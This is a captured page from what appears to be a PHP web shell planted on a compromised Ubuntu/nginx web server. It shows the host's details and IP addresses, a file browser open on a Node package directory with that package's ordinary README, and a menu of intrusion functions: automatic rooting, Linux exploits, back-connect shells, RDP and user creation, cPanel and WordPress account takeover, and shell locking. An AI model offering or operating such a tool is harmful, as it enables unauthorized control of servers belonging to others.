Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
call-me-maybe /
[ HOME SHELL ]
Name
Size
Permission
Action
test
[ DIR ]
drwxr-xr-x
.npmignore
526
B
-rw-r--r--
.travis.yml
71
B
-rw-r--r--
.zuul.yml
304
B
-rw-r--r--
LICENSE
1.06
KB
-rw-r--r--
README.md
821
B
-rw-r--r--
index.js
408
B
-rw-r--r--
package.json
938
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# call-me-maybe [](https://travis-ci.org/limulus/call-me-maybe) Let your JS API users either give you a callback or receive a promise. ## Usage ```javascript var maybe = require("call-me-maybe") module.exports = function asyncFunc (cb) { return maybe(cb, new Promise(function(resolve, reject) { // ... })) } ``` ## API ### maybe(cb, promise) If the callback `cb` is truthy, returns `undefined` and will call `cb` when `promise` is settled. The parameters passed to `cb` are standard error-first: - If `promise` is fulfilled, then it is called with the result of the promise: `cb(null, result)` - If `promise` is rejected, then it is called with the rejection error: `cb(err)` If `cb` is falsey, then `promise` is retuned.
Close